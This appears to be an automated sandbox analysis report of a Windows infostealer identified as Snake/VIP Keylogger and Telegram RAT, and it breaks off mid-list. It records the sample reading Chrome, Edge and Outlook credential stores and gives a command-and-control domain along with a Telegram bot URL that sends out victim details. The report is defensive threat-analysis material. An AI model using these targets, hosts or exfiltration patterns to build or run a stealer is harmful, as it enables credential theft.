Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Code function: 0_2_00412A15 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00412A15

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	31 Security Software Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	58%	ReversingLabs	Win32.Infostealer.ClipBanker
173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	100%	Avira	HEUR/AGEN.1305924
173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://sws.swpushroller.eu	0%	Avira URL Cloud	safe
http://sws.swpushroller.eu/swsk/api.php	0%	Avira URL Cloud	safe
http://sws.swpushroller.eu/swsk/P4.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.67.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high
sws.swpushroller.eu	45.80.158.30	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/8.46.123.75	false		high
http://checkip.dyndns.org/	false		high
http://sws.swpushroller.eu/swsk/P4.php	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2026/11/2024%20/%2003:50:51%0D%0ACountry%20Name:%20%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002768000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002647000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002647000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20a	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002647000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://sws.swpushroller.eu	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000026F5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000035AC000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003862000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000375A000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003986000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003781000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000370C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000035AC000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003862000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000375A000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003986000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003781000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 